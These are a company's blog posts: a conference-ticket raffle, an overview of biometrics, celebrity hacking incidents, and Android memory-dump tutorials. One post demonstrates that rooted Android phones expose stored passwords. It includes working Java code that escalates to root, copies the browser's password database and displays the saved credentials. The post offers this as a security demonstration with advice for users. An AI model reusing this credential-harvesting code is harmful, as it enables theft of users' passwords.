El número del sorteo de la ONCE ha terminado en 903. El número superior que más se ha acercado ha sido el 923, por lo que la ganadora (a falta de confirmación) del sorteo ha sido María Fernanda Jaramillo Polo. Enhorabuena! Y al resto muchas gracias por participar y esperamos seguir teniendo noticias vuestras. Nos vemos!

En Mobbeel sabemos que eres un apasionado de los móviles, por eso queremos darte la oportunidad de conocer lo más novedoso del sector, sorteando una entrada “Exhibition Visitor Pass” valorada en 699€ para el Mobile World Congress 2012 que tendrá lugar en Barcelona del próximo 27 de Febrero al 1 de Marzo. Barcelona se convertirá en la capital del mundo móvil durante el evento. Los mayores fabricantes del mundo mostrarán sus últimos avances hasta la fecha. La estancia y el viaje no entran dentro del sorteo.

¿Qué hay que hacer para participar?

Sólo es necesario realizar una de las siguientes opciones para participar, pero si realizas ambas tendrás más posibilidades de ganar.

No te preocupes si ya nos sigues en ambas redes sociales, ya que por ser nuestro fiel seguidor, utilizando el hashtag #MobbeelWMC o dejando un comentario en el plugin de Facebook entrarás igualmente dentro del sorteo.

– Dale a ‘Me gusta’ en nuestra página de Facebook y realiza un comentario en el plugin de Facebook

– Síguenos en Twitter (@mobbeel) y Utiliza el Hashtag #MobbeelMWC

Seguir @Mobbeel

Tweet #MobbeelMWC

¿Hasta cuándo puedo participar?

La fecha límite para participar en el sorteo es el Viernes 10 de Febrero de 2012 a las 23:59 (GMT+1). El Sábado 11 de Febrero se realizará el sorteo y se anunciará al ganador de la entrada para el MWC 2012.

Bases del sorteo

– Mobbeel publicará en este blog una lista con todos los participantes y el número que se les han asignado el Sábado 11 de Febrero de 2012 a las 10.00 (GMT+1).
– El sorteo utilizará las tres últimas cifras del cupón de la ONCE del Sábado 11 de Febrero que podrá consultarse desde aquí. El participante cuyo número coincida con esas tres últimas cifras será el ganador, siempre y cuando cumpla el resto de requisitos y condiciones del sorteo.
– En caso de que las cifras del cupón de la ONCE no coincidan con el número de ningún participante, se elegirá como ganador al participante con el número mayor más cercano al aparecido en el cupón.
– Una vez seleccionado el ganador se comprobará que éste cumple con las condiciones del sorteo, es decir, que ha pulsado el botón ‘Me Gusta’ de la página de Facebook y ha realizado un comentario en el plugin de Facebook, o bien, es seguidor en Twitter de Mobbeel (@mobbeel) y ha utilizado el Hashtag #MobbeelMWC. En caso de no cumplir estos requisitos, o si el ganador rechaza el premio, se continuará con el siguiente número consecutivo en orden ascendente hasta encontrar un ganador.
– El premio del sorteo es una entrada “Exhibition Visitor Pass” valorada en 699€ para el Mobile World Congress 2012 válida para toda la semana del evento, Consulte precios.
– Mobbeel se reserva el derecho de eliminar del sorteo a aquellos participantes que utilicen cuentas falsas para intentar aumentar sus posibilidades de ganar.
– Mobbeel se reserva la facultad de cancelar, suspender o modificar las presentes bases, así como la organización, y /o gestión de la presente promoción, bajo causa justificada.

‘La ciencia se construye a partir de aproximaciones que gradualmente se acercan a la verdad.’
Isaac Asimov.

En 1879, Alphonse Bertillon, jefe del departamento de fotografía de la policía francesa, sugirió que las personas podían ser identificadas a través de mediciones físicas precisas.
Su sistema se basaba en medir ciertas longitudes y anchuras de la cabeza y del cuerpo, así como registrar marcas individuales como tatuajes y cicatrices.
El sistema de Bertillon fue adoptado extensamente en occidente hasta que aparecieron defectos en el sistema, principalmente problemas con cambios de medida. Después de esto, las fuerzas policiales occidentales comenzaron a usar la huella dactilar.
En estos últimos años la biometría ha crecido desde usar simplemente la huella dactilar, a emplear muchos métodos de identificación distintos englobados en dos grandes categorías: fisiología y comportamiento.

La biometría fisiológica se basa en la medición de características físicas únicas del individuo, tales como los detalles de las huellas digitales, patrones de las venas de la retina, características del iris o el tamaño y forma de la mano.

La biometría de comportamiento identifica características aprendidas únicas, como la firma de una persona, las pulsaciones de teclado o el reconocimiento de voz, que compara frecuencias y patrones vocales para identificar a quien habla.

Los carnets, PINs y contraseñas no identifican en realidad a un individuo, dado que el portador puede transferir cualquiera de estas identificaciones a otra persona. Sólo los lectores biométricos identifican personas mediante características únicas e inalterables
Si te roban una contraseña, pueden acceder a tu información sin dificultad, pero suplantarte utilizando tus datos biométricos, aunque no sea imposible, es mucho más difícil.
Podemos comprobar la poca fiabilidad de los métodos de identificación tradicionales gracias a iSpy. Se trata de un software que captura a una distancia de 3 a 60 metros lo que se está escribiendo en el teléfono móvil. El objetivo de los investigadores de la Universidad de Carolina del Norte que han desarrollado iSpy era comprobar si el uso de teléfonos móviles en lugares públicos puede suponer un riesgo. El software acierta en el 90% de los casos qué teclas está pulsando el usuario.

Para solucionar estos problemas de seguridad, se sigue innovando y buscando nuevos métodos biométricos para identificar a las personas como el olor corporal, la arquitectura de la oreja o las ondas cerebrales.
Una de las técnicas más avanzadas y que ofrece grandes posibilidades por su sencillez es la biometría vascular. Ésta técnica estudia el grosor y la distancia entre las venas que se esconden bajo nuestra piel. Al tratarse de un patrón interno no deja rastro, proporcionando un alto nivel de seguridad. Pronto podremos contar con esta tecnología en nuestros dispositivos móviles.

A diferencia de los portátiles, que a veces los dejamos en casa o en la oficina, los móviles siempre van con nosotros, estemos donde estemos, vayamos a donde vayamos. Este hecho despierta el interés de ladrones, atraídos por la relación tamaño-precio del dispositivo, aunque si lo pensamos detenidamente, la información que contienen puede valer muchísimo más. Un estudio realizado por GetSafeOnline.org dice que el ‘malware’ para móviles ha aumentado en un 800% en sólo 4 meses.
Por este motivo, la biometría pasará en un futuro no muy lejano de ser ‘un concepto interesante’ a ‘una necesidad’ en todos los dispositivos móviles.

ABI Research indica en un reciente estudio que los usuarios se sienten más cómodos a la hora de utilizar seguridad biométrica, lo que puede resultar en un incremento de gasto de 3.000 millones de dólares en biometría durante los próximos 5 años. Apoyando esta previsión, nos encontramos casos como el de India, que pasará de reconocer a sus habitantes mediante su pertenencia a un grupo, según su casta, linaje y religión, a identificar a todos sus ciudadanos a través del reconocimiento del iris. Desde otro punto de vista, Isabelle Moeller del Biometrics Institute, opina que la aceptación pública de la biometría ha tardado en crecer, y que seguirá siendo un problema hasta que la privacidad y seguridad de la información crezcan a un nivel aceptable para la mayoría de personas.




Otro estudio realizado por Goode Intelligence sobre biometría móvil prevé un aumento de los 4 millones de usuarios de biometría para móviles que existen en el 2011 a 39 millones en 2015.
El estudio también detalla como funcionará la biometría en los móviles, centrándose en la protección del dispositivo, seguridad del comercio electrónico, seguridad NFC, sustituir PINs y contraseñas. Según el estudio, los detectores de huellas digitales y la tecnología de reconocimiento de voz serán los primeros en aparecer.

José Luis Huertas, CEO de Mobbeel, empresa dedicada a la creación de soluciones biométricas para dispositivos móviles, opina ‘Cada día realizamos más transacciones desde nuestros teléfonos móviles y almacenamos más información privada tanto personal como profesional. Hasta ahora, sólo podíamos protegerla con un gran número de contraseñas difíciles de recordar. Además, los reducidos teclados de los dispositivos móviles hacen difícil teclear contraseñas largas y complejas, por lo que preferimos utilizar contraseñas fáciles de recordar y escribir a cambio de perder seguridad. La biometría es la solución para aunar seguridad y comodidad y pronto todos podremos contar con un alto nivel de seguridad sin tener que recordar nada, en cualquier momento y en cualquier lugar’.

Según el último análisis realizado por ZoneAlarm, el 79 % de usuarios de internet utilizan contraseñas inseguras y el 16 % crean contraseñas a partir de nombres propios de personas. Este análisis también concluye que la contraseña más utilizada es ‘123456’, seguida muy de cerca por ‘12345’, ‘123456789’ y ‘password’ (o cualquiera de sus variantes). Seguro que alguna vez has pensado: “Para qué complicarme la vida pensando una contraseña segura si a nadie le interesa mi cuenta y encima se me va a olvidar con el tiempo”.

Esta misma falsa sensación de seguridad está empezando a afectar a muchos famosos, ya que llevan sufriendo robos de información privada de sus cuentas para utilizarla como chantaje o para venderla.

El primer caso real de ataque informático contra una ‘celebrity’ fue en 2005, cuando hackers tuvieron acceso al teléfono móvil de Paris Hilton y robaron fotos de ella, según Mikko Hypponen, jefe de investigación de F-Secure, empresa dedicada a la seguridad informática. Los hackers supuestamente adivinaron la respuesta no-tan-secreta de su pregunta de seguridad, que era ‘Tinkerbell’, el nombre de su perro Chihuahua.

En Diciembre de 2010, dos jóvenes hackers principiantes consiguieron acceder a las cuentas de correo electrónico y fotos de más de 50 ‘celebrities’, incluyendo a famosos como Lady Gaga, Ke$ha o Justin Timberlake. En este caso, sólo utilizaron simples ‘Troyanos’ y mucha paciencia para romper la seguridad de sus cuentas

En Marzo de 2011, Vanessa Hudgens, de ‘High School Musical’, denunció que habían sido robadas de su cuenta de Gmail algunas fotos.

En Abril de 2011, Wayne Rooney declaró a través de Twitter que su teléfono móvil había sido hackeado. Avisó a Scotland Yard y la investigación confirmó que el periódico ‘World of News’ había intervenido sus conversaciones, publicando incluso la infidelidad del delantero inglés con una prostituta.

En Agosto de 2011, la rapera Kreayshawn denunció en su blog que su cuenta de Twitter había sido hackeada cuando aparecieron fotos de ella desnuda.

A mediados Septiembre de 2011, Scarlett Johansson y Mila Kunis fueron víctimas del hackeo cuando en internet comenzó a circular información presuntamente robada de sus teléfonos móviles.

Este miércoles fue detenido Christopher Chaney por el FBI de Los Ángeles en el marco de la ‘Operación Hackerazzi’. El sospechoso de 35 años y originario de Florida tuvo acceso ilegal a las cuentas de al menos 50 personas, entre las que destacan Christina Aguilera, Scarlett Johansson, Mila Kunis, Simone Harouche y Renee Olstead.

Si algo está claro es que este tipo de hackeo contra las celebridades no va a desaparecer pronto. ‘Esto va en aumento’, dijo Hypponen. ‘Cuando la gente ve lo que ocurrió con Scarlett Johansson, puedes apostar que hay gente ahí fuera que está tratando de hacer lo mismo con otras actrices’.

Ante esta declaración de Hypponen, nos quedamos con la siguiente pregunta ¿Cuánto tiempo queda para que esta moda se extienda más allá de los famosos?

A continuación te mostramos una serie de consejos que puedes seguir para mejorar la seguridad de tus cuentas:
Utiliza un buen gestor de contraseñas, así tendrás todas tus contraseñas guardadas de una manera segura.

Utiliza un generador de claves, da igual que no recuerdes la contraseña, porque el gestor de contraseñas se encargara de acordarse por ti.

Guarda tu información privada en un lugar realmente seguro, utilizando técnicas avanzadas de seguridad como la biometría (reconocimiento de firma, iris).

Si todo lo anterior no te convence, siempre puedes borrar toda tu información privada. Aunque es complicado con la cantidad de documentos sensibles que guardamos en el ordenador y en el teléfono móvil hoy en día.

Si te convence, descarga BioWallet Signature desde el Android Market y guarda todos tus documentos y contraseñas de forma segura gracias al reconocimiento de firma. Y si lo complementas con Biowallet2Browser, podrás mandar tus cuentas guardadas en BioWallet al navegador y conectarte desde tu ordenador sin miedo a que te roben la contraseña.

Una última sugerencia, ¡No te hagas fotos desnud@ con tu teléfono móvil!

Uno de los pilares básicos en los que se basa el modelo de seguridad de Android es que una aplicación de usuario no puede leer o escribir los archivos de otras aplicaciones. Para ello, Android utiliza el modelo de permisos de Linux sobre el que se ejecuta, y asigna a cada aplicación su propio identificador de usuario, de tal forma que, en teoría, previene que los datos de nuestra aplicación sean accedidos por terceros (o que nosotros podamos acceder a datos de otras aplicaciones).

Este modelo funciona perfectamente siempre que en el sistema no esté presente un superusuario que tenga acceso a cualquier parte del sistema de ficheros (el famoso “root”). Por defecto, la mayoría de los teléfonos Android que salen al mercado no tienen acceso root (salvo alguna excepción como el GeeksPhone One), pero todos hemos comprobado como, invariablemente, han surgido métodos para “rootear” todos y cada uno de estos teléfonos. Últimamente se ha llegado a un nivel de sencillez tal, que en muchos teléfonos es suficiente con instalar una aplicación y pulsar un boton para conseguirlo

La mayoría de las veces los usuarios activan el acceso root a sus teléfonos para poder instalar ROMs personalizadas, utilizar aplicaciones que requieren acceso a partes protegidas del sistema, etc. sin darse cuenta del riesgo de seguridad que esto supone.

Uno de los últimos riesgos que han salido a la luz pública es que, varias aplicaciones, incluidas el cliente de email y el navegador, almacenan las contraseñas del usuario sin ningún tipo de cifrado. Lo hacen así porque confían en la seguridad por defecto de Android que asegura que ninguna otra aplicación será capaz de acceder a esos ficheros para leerlos o escribirlos. Sin embargo, tal y como hemos visto anteriormente, con lo sencillo que resulta obtener acceso root en la mayoría de los terminales ésta es una medida claramente insuficiente.

Alguno podría pensar que se trata de un simple descuido o pereza de los programadores de estas aplicaciones y que puede ser fácilmente subsanable cifrando esa información, pero lo cierto es que, en realidad, lo que se está produciendo es un balance entre la facilidad de uso y la seguridad de la información almacenada. Proteger esas contraseñas requeriría a su vez tener una contraseña para poder cifrarlas/descifrarlas. Y… ¿cómo se guarda esa contraseña? ¿en texto plano? ¿cifrada? Si la ciframos necesitamos a su vez una nueva contraseña pero… ¿qué hacemos con la contraseña que cifra las contraseña que cifra las contraseñas? Al final siempre es necesario que el propio usuario introduzca algo que no puede almacenarse en el sistema y que solo él sabe (o una característica biométrica como requiere BioWallet).

En varios blogs se han publicado métodos para demostrar este fallo de seguridad que requieren un teléfono rooteado, conectar el teléfono a un PC y activar el modo depuración, extraer la base de datos y abrirla con herramientas específicas, etc. Esto provoca una falsa sensación de seguridad en aquellos usuarios menos experimentados, ya que piensan:

1. Mi teléfono no está rooteado y por tanto está seguro.
2. Mi teléfono está rooteado, pero para extraer las contraseñas tendrían que robármelo y ser prácticamente un hacker experto.

En realidad el riesgo de seguridad es mayor de lo que la mayoría de usuarios creen, ya que:

1. Si tu teléfono no está rooteado y se pierde o te lo roban, conseguir acceso root es cuestión de minutos incluso para alguien no experto.
2. Si tu teléfono ya está rooteado no es necesario que te lo roben y lo conecten a un PC. Cualquier aplicación que instales podría ser maliciosa, acceder a tus contraseñas y enviarlas a cualquier sitio sin que te dieses cuenta.

Para demostrar el verdadero riesgo que existe, a continuación vamos a mostrar cómo conseguir acceso root a un teléfono móvil en cuestión de segundos y vamos a presentar una aplicación de ejemplo que en pocas líneas de código es capaz de acceder a las contraseñas almacenadas del navegador y mostrarlas en pantalla.

Conseguir acceso root en el Motorola Droid.

Supongamos que alguien ha conseguido mi Morotola Droid que considero seguro porque nunca se me ha ocurrido activar el acceso root. El atacante solo tiene que:

1. Descargar e instalar directamente desde el teléfono el UniversalAndroot (hay muchos más, este es solo uno de los más conocidos).
2. Abrir el UniversalAndroot y pulsar el botón “Go Root”



3. ¡Ya está! El usuario ahora es root en nuestro teléfono y puede tener acceso a todas las contraseñas que han sido almacenadas en texto plano.

PasswordsExploit

En el caso de que nosotros mismos hayamos activado el acceso root al teléfono el riesgo es incluso mayor, puesto que cualquier aplicación maliciosa puede solicitarnos permiso de superusuario con otro pretexto y, si no conocemos los riesgos de seguridad que eso implica y se lo concedemos, podría estar accediendo a nuestras contraseñas almacenadas y enviándolas a cualquier parte sin que nos diésemos cuenta. Para demostrar lo sencillo que es crear una aplicación que haga esto y que no es necesario ser un experto en seguridad, a continuación presentamos un ejemplo que, en unas pocas líneas accede a las contraseñas recordadas por el navegador y las muestra en pantalla (una aplicación maliciosa por supuesto no las mostraría sino que las enviaría silenciosamente fuera de tu teléfono).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

package com.mobbeel.passwordsexploit;
 
import java.io.DataOutputStream;
import java.io.IOException;
 
import android.app.ListActivity;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.widget.ListAdapter;
import android.widget.SimpleCursorAdapter;
import android.widget.Toast;
 
public class PasswordsExploitActivity extends ListActivity {
 
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
 
		try {
			//Get root access
			Process process = Runtime.getRuntime().exec("su");
			DataOutputStream os = new DataOutputStream(process.getOutputStream());
			//copy the browser database to a readable directory
			os.writeBytes("cp /data/data/com.android.browser/databases/webview.db /tmp \n");
			//change the permissions to be readable by everybody
			os.writeBytes("chmod 666 /tmp/webview.db \n");
			os.writeBytes("exit\n");
			os.flush();
			process.waitFor();
 
			//end of root commands. Now just open the database and query as usual
			SQLiteDatabase db = SQLiteDatabase.openDatabase("/tmp/webview.db", null, SQLiteDatabase.OPEN_READONLY);
			//SELECT * FROM password;
			Cursor c = db.query("password", null, null,	null, null, null, null);
			startManagingCursor(c);
 
			//display Usernames and Passwords on a list
			ListAdapter adapter = new SimpleCursorAdapter(this,
					android.R.layout.two_line_list_item, c,
					new String[] { "username", "password" },
					new int[] { android.R.id.text1, android.R.id.text2 });
			setListAdapter(adapter);
 
 
		} catch (IOException e) {
			Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
			e.printStackTrace();
		} catch (InterruptedException e) {
			Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
			e.printStackTrace();
		}
 
	}
}

Al ejecutar esta aplicación, si ya hemos activado el modo root en el teléfono nos pedirá permiso para ejecutar comandos como superusuario. Nunca debemos dar este permiso a aplicaciones a no ser que confiemos absolutamente en su origen.

Si concedemos el permiso de superusuario, la aplicación accede a los usuarios/contraseñas recordados por el navegador y los muestra en una lista.

Como conclusión, podemos dar unas recomendaciones para que tus contraseñas estén un poco más seguras:

1. No actives el acceso root en tu teléfono a menos que seas un usuario experimentado y tengas muy claros los riesgos de seguridad que esto puede implicar.
2. En caso de que ya seas root, no concedas permiso de superusuario a aplicaciones de terceros que lo pidan a no ser que confíes absolutamente en su origen.
3. No utilices la opción de recordar contraseñas en el navegador ni en ninguna otra aplicación que no las proteja a su vez con otra contraseña (o una característica biométrica como BioWallet). Este consejo lo haría extensivo no solo al navegador del teléfono sino también a los navegadores del PC, clientes de mensajería instantánea, etc. Cualquier aplicación que puede acceder a contraseñas recordadas sin pedir tu identificación es porque no las está almacenando de forma segura.
4. Utiliza un gestor de contraseñas fiable para almacenar tu información sensible.

Nota: Este post está pendiente de traducción.

A couple of days ago we shown you how to get a memory dump of your Android application and open it in Eclipse MAT. That procedure was valid for versions up to 1.1, but it has slightly changed for the new version 1.5 (a.k.a. cupcake).

1. First step doesn’t change, we have to make sure /data/misc is writable:

   1 2	#su #chmod 777 /data/misc

2. Take note of your application process number using the Eclipse DDMS perspective or with the command ‘ps’ within the emulator/phone shell.
3. Send a SIGUSR1 signal to the process with the command:

   1	kill -10 <pid number>

4. In 1.5, a new API has been introduced to generate a dump programmatically, the static method dumpHprofData(String fileName) of the Debug class. Example:

   1	Debug.dumpHprofData("myAppDump.hprof");

5. In 1.5 only one dump file will be generated (with the pattern heap-dump-tm-pid.hprof), so you no longer need to concatenate it with anything.
6. You still need to pull it from the emulator/phone to your computer and “deandroidize” it with the hprof-conv tool. The good news is this tool is now bundled with the SDK and you don’t need to download or compile it anymore.

   1 2	adb pull /data/misc/heap-dump-tm<timestamp>-pid<myPid>.hprof . hprof-conv heap-dump-tm<timestamp>-pid<myPid>.hprof myDump.hprof

7. Now you can open it with your preferred memory analysis tool (ours is MAT!).

Nota: Este post está pendiente de traducción.

Note: This procedure is valid for SDK versions up to 1.1. For instructions about how to do it in Android 1.5 take a look at this post: Analyze an Android 1.5 memory dump.

In this post we will show you how to get a memory dump of your running Android application, convert it to a standard format supported by the conventional tools and open it with Eclipse MAT (Memory Analyzer Tool) to detect memory leaks.

The memory dump is going to be generated on the /data/misc directory so the first step is modifying its permissions to make sure it is writable.

1
2
3

adb shell
#su
#chmod 777 /data/misc

Note: You can do this on the emulator or if you are working with an Android Developer Phone, but you cannot do it if you are working with a T-Mobile G1 (unless you are root, but that’s for another post). The ‘su’ command is only needed if you are working with an ADP1 because the adb daemon runs as a regular user.

Next, we should run our application and take note of its process number. It can be found using the DDMS view in Eclipse

or if you are a command line guy you can use this to list the currently running processes:

1

#ps

We will use this number to send a SIGUSR1 signal to the process. Currently the Dalvik VM will generate a memory dump in response to two signals, SIGQUIT and SIGUSR1. If you send it a SIGQUIT it will dump the stacks from all running threads; if you send it a SIGUSR1 it will dump the heap profiling data. The most usual way to send the signal to the process is with the kill command:

1

kill -10 <pid number>

but you can also send it programmatically from inside the application with this code:

1

android.os.Process.sendSignal(android.os.Process.myPid(), android.os.Process.SIGNAL_USR1);

On a “regular” JVM you could generate a dump in the very moment the first OOM occurs (starting it with the -XX:+HeapDumpOnOutOfMemoryError option), which is very useful, but that feature is not available in Dalvik yet (however, it is on the “to do list” of the Android team).

If everything works OK, you should see something like this on the log:

04-28 13:53:32.418: INFO/dalvikvm(22609): threadid=7: reacting to signal 10
04-28 13:53:32.418: INFO/dalvikvm(22609): SIGUSR1 forcing GC and HPROF dump
04-28 13:53:32.418: INFO/dalvikvm(22609): hprof: dumping VM heap to “/data/misc/heap-dump-tm1240926812-pid22609.hprof“.
04-28 13:53:35.682: INFO/dalvikvm(22609): hprof: dumping heap strings to “/data/misc/heap-dump-tm1240926812-pid22609.hprof-head“.

Now we can pull the generated files to the computer:

1
2

adb pull /data/misc/heap-dump-tm1240926812-pid22609.hprof-head .
adb pull /data/misc/heap-dump-tm1240926812-pid22609.hprof .

And we have to join them in a single file. If you are in a Windows system you could use the ‘type’ command (or ‘cat’ in a Linux system.):

1
2

C:\...>type heap-dump-tm1240926812-pid22609.hprof-head > android-dump.hprof
C:\...>type heap-dump-tm1240926812-pid22609.hprof >> android-dump.hprof

The generated dump contains specific information related with the Dalvik VM that are not part of the standard hprof format so the standard tools won’t be able to open it. Luckily, the Android team has released a tool to trim the Dalvik specific records and convert the dump to a standard format. You can find the source code here.

1

C:\...>hprof-conv android-dump.hprof standard-dump.hprof

Finally you can open it with your preferred analysis tool (JHat, JProfiler, MAT, etc.). In this post and followings we will be using MAT.

That’s all for now! We will publish more information soon about how to use MAT to detect and solve memory leaks in your application.

In this post we will show you how to get a memory dump of your running Android application, convert it to a standard format supported by the conventional tools and open it with Eclipse MAT (Memory Analyzer Tool) to detect memory leaks.

The memory dump is going to be generated on the /data/misc directory so the first step is modifying its permissions to make sure it is writable.

1
2
3

adb shell
#su
#chmod 777 /data/misc

Note: You can do this on the emulator or if you are working with an Android Developer Phone, but you cannot do it if you are working with a T-Mobile G1 (unless you are root, but that’s for another post). The ‘su’ command is only needed if you are working with an ADP1 because the adb daemon runs as a regular user.

Next, we should run our application and take note of its process number. It can be found using the DDMS view in Eclipse

or if you are a command line guy you can use this to list the currently running processes:

1

#ps

We will use this number to send a SIGUSR1 signal to the process. Currently the Dalvik VM will generate a memory dump in response to two signals, SIGQUIT and SIGUSR1. If you send it a SIGQUIT it will dump the stacks from all running threads; if you send it a SIGUSR1 it will dump the heap profiling data. The most usual way to send the signal to the process is with the kill command:

1

kill -10 <pid number>

but you can also send it programmatically from inside the application with this code:

1

android.os.Process.sendSignal(android.os.Process.myPid(), android.os.Process.SIGNAL_USR1);

On a “regular” JVM you could generate a dump in the very moment the first OOM occurs (starting it with the -XX:+HeapDumpOnOutOfMemoryError option), which is very useful, but that feature is not available in Dalvik yet (however, it is on the “to do list” of the Android team).

If everything works OK, you should see something like this on the log:

04-28 13:53:32.418: INFO/dalvikvm(22609): threadid=7: reacting to signal 10
04-28 13:53:32.418: INFO/dalvikvm(22609): SIGUSR1 forcing GC and HPROF dump
04-28 13:53:32.418: INFO/dalvikvm(22609): hprof: dumping VM heap to “/data/misc/heap-dump-tm1240926812-pid22609.hprof“.
04-28 13:53:35.682: INFO/dalvikvm(22609): hprof: dumping heap strings to “/data/misc/heap-dump-tm1240926812-pid22609.hprof-head“.

Now we can pull the generated files to the computer:

1
2

adb pull /data/misc/heap-dump-tm1240926812-pid22609.hprof-head .
adb pull /data/misc/heap-dump-tm1240926812-pid22609.hprof .

And we have to join them in a single file. If you are in a Windows system you could use the ‘type’ command (or ‘cat’ in a Linux system.):

1
2

C:\...>type heap-dump-tm1240926812-pid22609.hprof-head > android-dump.hprof
C:\...>type heap-dump-tm1240926812-pid22609.hprof >> android-dump.hprof

The generated dump contains specific information related with the Dalvik VM that are not part of the standard hprof format so the standard tools won’t be able to open it. Luckily, the Android team has released a tool to trim the Dalvik specific records and convert the dump to a standard format. You can find the source code here.

1

C:\...>hprof-conv android-dump.hprof standard-dump.hprof

Finally you can open it with your preferred analysis tool (JHat, JProfiler, MAT, etc.). In this post and followings we will be using MAT.

That’s all for now! We will publish more information soon about how to use MAT to detect and solve memory leaks in your application.